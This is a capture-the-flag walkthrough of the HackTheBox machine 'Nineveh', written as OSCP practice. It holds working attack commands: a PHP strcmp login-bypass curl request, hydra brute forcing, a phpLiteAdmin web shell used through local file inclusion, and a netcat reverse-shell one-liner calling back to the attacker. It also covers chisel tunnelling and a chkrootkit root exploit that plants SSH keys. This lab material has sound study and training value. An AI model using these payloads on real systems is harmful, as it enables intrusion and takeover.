HackTheBox | Nineveh

In this walkthrough, I demonstrate how I obtained complete ownership of Nineveh on HackTheBox
HackTheBox | Nineveh
In: TJ Null OSCP Practice, OSCP Prep, HackTheBox, Attack, CTF

Nmap Results

# Nmap 7.93 scan initiated Mon Apr  3 23:48:32 2023 as: nmap -Pn -p- -T5 -A -oN scan.txt
Nmap scan report for
Host is up (0.022s latency).
Not shown: 65533 filtered tcp ports (no-response)
80/tcp  open  http     Apache httpd 2.4.18 ((Ubuntu))
|_http-title: Site doesn't have a title (text/html).
|_http-server-header: Apache/2.4.18 (Ubuntu)
443/tcp open  ssl/http Apache httpd 2.4.18 ((Ubuntu))
|_http-title: Site doesn't have a title (text/html).
| tls-alpn: 
|_  http/1.1
|_http-server-header: Apache/2.4.18 (Ubuntu)
|_ssl-date: TLS randomness does not represent time
| ssl-cert: Subject: commonName=nineveh.htb/organizationName=HackTheBox Ltd/stateOrProvinceName=Athens/countryName=GR
| Not valid before: 2017-07-01T15:03:30
|_Not valid after:  2018-07-01T15:03:30
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Aggressive OS guesses: Linux 3.10 - 4.11 (92%), Linux 3.12 (92%), Linux 3.13 (92%), Linux 3.13 or 4.2 (92%), Linux 3.16 - 4.6 (92%), Linux 3.2 - 4.9 (92%), Linux 3.8 - 3.11 (92%), Linux 4.2 (92%), Linux 4.4 (92%), Linux 3.16 (90%)
No exact OS matches for host (test conditions non-ideal).
Network Distance: 2 hops

TRACEROUTE (using port 80/tcp)
1   21.73 ms
2   22.00 ms

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Mon Apr  3 23:49:49 2023 -- 1 IP address (1 host up) scanned in 77.58 seconds

Service Enumeration


Gobuster Enumeration

gobuster dir -u -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -x php,html -r -t 100 -o gobuster.txt

/index.html           (Status: 200) [Size: 178]
/info.php             (Status: 200) [Size: 83689]
/department           (Status: 200) [Size: 68]

Nice comment in the 'login.php' page source code!

Looking at the page source, there is some noteworthy information:

  • MySQL database
  • Possible usernames:
    • admin
    • amrois

Testing the Login Page

As far as fixing the login page, that seems to indicate it has some potential vulnerability — possibly SQL injection.

When doing some manual testing, I noticed that the login page discloses valid usernames. The username admin is definitely valid. The username amrois is not — at least for this login page.

I tried some basic SQL injection payloads and didn't notice any behavior that would indicate a vulnerability. I also tried password spraying with hydra against the admin account on the login page, but couldn't find a valid password.

More Enumeration

I did a quick Google search for php login bypass and came up with some interesting results — particularly this page from HackTricks.

Login Bypass - HackTricks
Check the PHP comparisons error: user[]=a&pwd=b , user=a&pwd[]=b , user[]=a&pwd[]=b

I'm not familiar with this particular PHP vulnerability, so I Googled PHP comparisons error exploit and came up with lots of results about type juggling, which led me to further research php login bypass type juggling.

Auth bypass with PHP type Juggling
This post will discuss PHP type juggling and how they lead to authentication bypass vulnerability. PHP type juggling has two main comparison modes, loos(==) and strict(===). loose comparison mode has a set of operand conversion rules to make it easier for developers. with loose comparison, it is pos…
PHP Tricks - HackTricks

So, the advice to check the PHP comparisons error above works by testing if the PHP script is using loose or poorly-implemented type comparisons. If the password is using strcmp() — and this function is expecting a string in the password field — but we instead say password[] is an array, strcmp() fails to analyze it due to the type mismatch.

Depending on the error control in the application, we may be able to bypass authentication entirely. Let's give it a go.

Testing the Login Page Again

# Parameters:
# -v : output HTTP headers
# -x : send request through a proxy (Burp)
# -X : http method to use (Post)
# -c : write cookies file
# -b : read cookies from file
# -s : less verbose output
# -L : follow redirects
# -d : data to send
curl -v -x -X POST -s -c cookies.txt -b cookies.txt -s -L -d 'username=admin&password[]=""'

Looking at the headers, it seems like the login was successful:

  1. HTTP POST the payload username=admin&password[]="" to the login page
  2. The login page redirected us to manage.php
  3. manage.php loaded and rendered in the output

Let's see the request in Burp.

HTTP 302 to manage.php and 'strcmp' error in output... Interesting
We're in!

We can just take that PHPSESSID cookie and stick it in our browser:

  1. Open the developer tools on your browser
  2. Go to the Application tab
  3. Go to Cookies and expand it, then choose the target URL

Double click the string in the Value field and paste in your cookie and press the Enter key. Then reload the page.

Testing for File Inclusion Vulnerability

There's not much to the application here, but we should be looking for potential input points. Hovering over the Notes link at the top, I see a potential input point that could yield a file inclusion vulnerability;

When you click the Notes link, it cause the application to load the ninevehNotes.txt file from the ./files relative path on the server.

I was playing around with a bunch of different payloads and it seems like the manage.php script validates the ?notes parameter for the keyword ninevehNotes.

Error output
Again, nothing

So, the question is, where does ninevehNotes fit into the application's logic when checking the ?notes parameter.

That was a chore to find, but it totally makes sense now that I look at it. If there's a ./files/ninevehNotes.txt file, why wouldn't there be ./files/ninevehNotes/ directory that's supposedly hidden in plain sight?

What we're doing here is causing the PHP include() function to traverse out of the ./files/ninevehNotes/ directory back to the / root of the file system and down into /etc/passwd.

This file inclusion vulnerability does not allow for remote file inclusion and PHP filters aren't possible. We need to enumerate some more to see if we can find some way to leverage this file inclusion to execute a reverse shell payload.


ssl-cert: Subject: commonName=nineveh.htb

'nineveh.htb' could be a possible virtual host on this web server

There didn't appear to be any discernable difference when using nineveh.htb as a hostname with web requests.

Gobuster Enumeration

gobuster dir -k -u -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -x php,html -r -t 100 -o gobuster-443.txt

/index.html           (Status: 200) [Size: 49]
/db                   (Status: 200) [Size: 11430]
/secure_notes         (Status: 200) [Size: 71]

The /secure_notes/ directory doesn't reveal anything interesting. I tried enumerating any kind of document files — txt, doc, docx, md — in this diretory with gobuster, but didn't come up with anything.

The /db/ directory loads phpLiteAdmin, which is a web front end that allows an admin to manage databases with a GUI. We can try bruteforcing this password field with hydra. Let's inspect a request with the browser developer tools.

Form data

With this information, we can craft a hydra template to bruteforce this login page.

# -I : ignore restore file
# -f : stop when password found
# -V : verbose output
# -l : single username (required)
# -P : password list
# http-post-form : module name
hydra -I -f -V -l '' -P /usr/share/seclists/Passwords/probable-v2-top1575.txt https-post-form '/db/index.php:password=^PASS^&remember=yes&login=Log+In&proc_login=true:C=/db/index.php:F=Incorrect password.'

Exploring the Database

We have a SQLite database named, test loaded from /var/tmp/test. This database does not contain any tables, so doesn't look there'll be any usernames/hashes to enumerate. Let's see what exploits exist for this version of phpLiteAdmin.

The Remote PHP Code Injection vulnerability looks interesting, and would pair nicely with the file inclusion vulnerability on TCP/80. Let's look at the exploit more in order to understand how it works.

searchsploit -m 24044
cat 24044.txt

It looks like this will work perfectly with the target. The exploit works like this:

  1. Create a new database with a .php extension. This overrides the default file extension appended by the SQL server.
  2. Now that we have a valid .php file extension, we write a very small PHP script to the database file.
  3. Now, if the .php file is loaded by a client browser application, it will cause the server to execute the PHP script.

Testing the Exploit

Create a new database
Select the database
Create a table
Add the text field with the payload in 'Default Value'
This is the file we need to read with LFI



PHP File Injection + LFI

Web Shell

Following the procedure from above, I'm going to create a PHP web shell

<?php system($_GET["pwn"]) ?>

Change the payload with your IP and port

What we're doing here is creating a PHP script that runs system() on the ?pwn parameter passed with requests. We can execute the payload with LFI by doing something like this:

Ping test back to my VPN IP

Ping received!

Reverse Shell

rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 443 >/tmp/f

Reverse shell payload, remember to use your IP and port combo

Use Burp Decoder to URL-encode the payload
sudo rlwrap nc -lnvp 443

Start a TCP listener

curl -X POST -s -c cookies.txt -b cookies.txt -L -d 'username=admin&password[]=""' > /dev/null

Use 'curl' to login into the web app and establish cookies in 'cookies.txt'

curl -X GET -s -c cookies.txt -b cookies.txt '' > /dev/null

Using cookies in 'cookies.txt' run the payload via LFI

TTY Upgrade

/usr/bin/python3 -c "import pty; pty.spawn('/bin/bash')"
export TERM=linux

Post-Exploit Enumeration

Operating Environment

OS & Kernel

VERSION="16.04.2 LTS (Xenial Xerus)"
PRETTY_NAME="Ubuntu 16.04.2 LTS"

Linux nineveh 4.4.0-62-generic #83-Ubuntu SMP Wed Jan 18 14:10:15 UTC 2017 x86_64 x86_64 x86_64 GNU/Linux

Current User

uid=33(www-data) gid=33(www-data) groups=33(www-data)
Sorry, user www-data may not run sudo on nineveh.htb.

Users and Groups

Local Users


Local Groups


Network Configurations


ens160: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc pfifo_fast state UP group default qlen 1000
    link/ether 00:50:56:b9:5e:19 brd ff:ff:ff:ff:ff:ff
    inet brd scope global ens160
       valid_lft forever preferred_lft forever

Open Ports

tcp        0      0    *               LISTEN      -

TCP/22 is showing open here on all interfaces, despite not showing up in the initial nmap scan. This makes me suspect some kind of firewall / port knocking solution is in place.

Interesting Files


$USER = 'admin';
$PASS = '1q2w3e4r5t';

This password could have easily been brute-forced.


I am just going to add some lines that look interesting from the files in this directory. There is clearly a cron job running a script every minute which scans the system for anomalies, and outputs the reports here.

Checking `ldsopreload'... can't exec ./strings-static, not tested
Searching for suspicious files and dirs, it may take a while... 
Searching for Suckit rootkit... Warning: /sbin/init INFECTED
Searching for anomalies in shell history files... Warning: `//root/.bash_history' is linked to another file


From root@nineveh.htb  Fri Jun 23 14:04:19 2017
Return-Path: <root@nineveh.htb>
X-Original-To: amrois
Delivered-To: amrois@nineveh.htb
Received: by nineveh.htb (Postfix, from userid 1000)
        id D289B2E3587; Fri, 23 Jun 2017 14:04:19 -0500 (CDT)
To: amrois@nineveh.htb
From: root@nineveh.htb
Subject: Another Important note!
Message-Id: <20170623190419.D289B2E3587@nineveh.htb>
Date: Fri, 23 Jun 2017 14:04:19 -0500 (CDT)

Amrois! please knock the door next time! 571 290 911

This is almost certainly a port knocking sequence.

Privilege Escalation

More Enumeration

Finding Accessible Files

I was doing some enumeration trying to find an escalation path to root or amrois. I did manage to find some interesting files using the find command:

find / -user amrois \( -readable -o -writable \) 2>/dev/null

But, all of the breadcrumbs I was seeing didn't seem to be relevant to my session as www-data, and seemed like I needed to pivot laterally to amrois.

Searching for Usernames and Passwords

I started throwing this command around in some random directories to see what might stick:

cd /var/www
grep -ilr amrois . 2>/dev/null

Find the word 'amrois' (not case-sensitive) in any files

And, I got a really strange hit at first in the /var/www directory:

I was amused to find the string, amrois inside a .png file — a nice little stego challenge.

This is most certainly amrois' private SSH key

Lateral Pivot to Amrois

Knock on the Door!

I paste the private key string into a local file, set the permissions, and try to SSH in as amrois.

ssh -i nineveh.priv amrois@

But, it doesn't work! The connection is hanging. Then, I remembered the port knocking sequence in /var/mail/amrois. The firewall likely won't let me in until I knock the right combination.

Looking at the contents of /etc/knockd.conf, I need to do the following to allow my IP address to access TCP/22 on the target:

  • Send three SYN TCP packets within 5 seconds
  • Any longer, the sequence will not be processed
  • They need to be in this order: 571, 290, 911
# hping 3 options:
# -n : numerical output
# -c : number of packets to send
# -i : duration to wait for reply in seconds
# -S : TCP SYN flag set
# -p : destination port
for port in {571,290,911}; do sudo hping3 -n -c 1 -i 1 -S -p $port ; done

Port knocking using 'hping3`

This one-liner will loop over each port in the array {571,290,911} and use hping3 in TCP/SYN mode to send a single packet to the target address.

We can see the TCP SYN packets being sent to the destination
For some reason, I couldn't get the port knocking sequence to be accepted by the server. I tried the sequence with `nmap`, `nc`, and `knock`, but it just simply wouldn't work. And, I wasn't in the mood to stop the instance and change VPN servers. So, I'll just be using tunneling to get to the SSH server using chisel.

Port Knock Workaround: Chisel

Download Chisel binary
Release v1.8.1 · jpillora/chisel
Compile with Go 1.9 and bunch of minor additions and fixes What’s Changed Update README.md by @NitescuLucian in #329 Update server.go by @Masterxilo in #365 README: remove -v from go install comma...
gunzip chisel_1.8.1_linux_amd64.gz
mv chisel_1.8.1_linux_amd64 chisel
chmod u+x chisel

Transfer Chisel Binary to Target

Start a Python HTTP server to host the chisel binary and use wget on the target to download it locally.

Tunnel the Port
sudo ./chisel server --port 443 --reverse &

Start the Chisel server in reverse mode on Kali

chmod +x /tmp/chisel
/tmp/chisel client R:2222: &

Listen on on Kali and forward to on the target

SSH to the Target
Looks good!
I'm in!

Escalate to Root

More Enumeration

I spent a good bit thinking about anything appeared interesting about the this target. And, two things seemed a bit odd to me.

  1. amrois crontab running /usr/sbin/report-reset.sh every 10 minutes
  2. And, the reports themselves, whcih are obviously being generated by the root account, since it can read the file /root/.bash_history.

So, I ran a query through Google:

Now, I'm not familiar with chrootkit, so I did some more research on it.

Chkrootkit Local Privilege Escalation
Rapid7’s VulnDB is curated repository of vetted computer software exploits and exploitable vulnerabilities.
Chkrootkit before 0.50 will run any executable file named /tmp/update as root, allowing a trivial privilege escalation.

Test the Chrootkit Exploit

nano /tmp/update

Create the file to be run as root

echo 'pwned!' > /home/amrois/i-got-root.txt

Create a silly script

chmod 777 /tmp/update

Make it executable

The cron job runs every minute, so be patient.

Easy Win

nano /tmp/update

Let's update our payload


amrois_pub_key='ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCuL0RQPtvCpuYSwSkh5OvYoY//CTxgBHRniaa8c0ndR+wCGkgf38HPVpsVuu3Xq8fr+N3ybS6uD8Sbt38Umdyk+IgfzUlsnSnJMG8gAY0rs+FpBdQ91P3LTEQQfRqlsmS6Sc/gUflmurSeGgNNrZbFcNxJLWd238zyv55MfHVtXOeUEbkVCrX/CYHrlzxt2zm0ROVpyv/Xk5+/UDaP68h2CDE2CbwDfjFmI/9ZXv7uaGC9ycjeirC/EIj5UaFBmGhX092Pj4PiXTbdRv0rIabjS2KcJd4+wx1jgo4tNH/P6iPixBNf7/X/FyXrUsANxiTRLDjZs5v7IETJzVNOrU0R'

if ! [[ -d /root/.ssh ]]; then mkdir /root/.ssh; fi
if ! [[ -f /root/.ssh/authorized_keys ]]; then
    touch /root/.ssh/authorized_keys
    chmod 600 /root/.ssh/authorized_keys

if ! grep $amrois_pub_key /root/.ssh/authorized_keys > /dev/null ; then
    echo $amrois_pub_key >> /root/.ssh/authorized_keys

Add amrois' public SSH keystring to root's authorized keys

Wait a minute for the script to run.





More from 0xBEN
Table of Contents
Great! You’ve successfully signed up.
Welcome back! You've successfully signed in.
You've successfully subscribed to 0xBEN.
Your link has expired.
Success! Check your email for magic link to sign-in.
Success! Your billing info has been updated.
Your billing was not updated.